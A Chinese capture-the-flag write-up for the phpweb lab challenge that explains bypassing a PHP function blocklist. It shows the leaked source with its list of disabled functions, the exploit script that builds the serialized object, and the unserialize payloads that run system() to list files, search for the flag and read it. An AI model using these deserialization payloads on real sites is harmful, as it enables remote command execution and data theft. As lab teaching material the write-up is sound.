题目
链接:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]phpweb
解答
1、打开网页,出现一张图片和一对英文,首先F12查看一波源码
存在表单,而且为post提交,那就抓包分析
2、存在两个参数
尝试更改参数看返回的内容是否会不一样
3、将func改成aaa试一下
返回的内容
意思就是aaa没有找到或者这是一个不合法的文件名
同时发现了一个重要的函数call_user_func(),具体功能见知识点总结
瞬间打通了思路,func是php中内置的函数,p是参数,执行的结果会显示在p标签当中
验证一下:
4、那就尝试一下命令执行函数
应该能料到,这些函数应该会被过滤掉,不然哪有这么简单
我还是试了其他的,万一有一个漏网之鱼呢,结果没有
5、思路打开,既然可以执行命令,那我读取一下源码,file_get_content总没有过滤吧
func=file_get_contents&p=index.php
得到index.php源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果不其然,过滤的比我想象的要多
6、分析源码,思路继续打开,发现一个类,是否可以尝试反序列化
分析过程,首先输入func和p,其中func是unserialize,p是序列化后的结果
执行gettime函数,得到了一个反序列化后的对象,在创建对象后会自动调用__destruct销毁,再继续调用gettime函数,从而能够执行得到结果。
构造exp
<?php
class test{
var $func="system";
var $p = "ls";
}
$a = new test();
$aa = serialize($a);
echo $aa;
?>
在本地搭建环境执行得到结果
故尝试
func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
7、继续构造
func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
寻找有关与flag的文件,等待一段时间
继续构造
func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
得到结果
flag{5f916313-bde1-4dca-ba69-a9af7fa78725}
完成!
知识点
1、call_user_func用法
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
链接:https://www.php.net/manual/zh/function.call-user-func.php
2、序列化与反序列化知识点见后期文章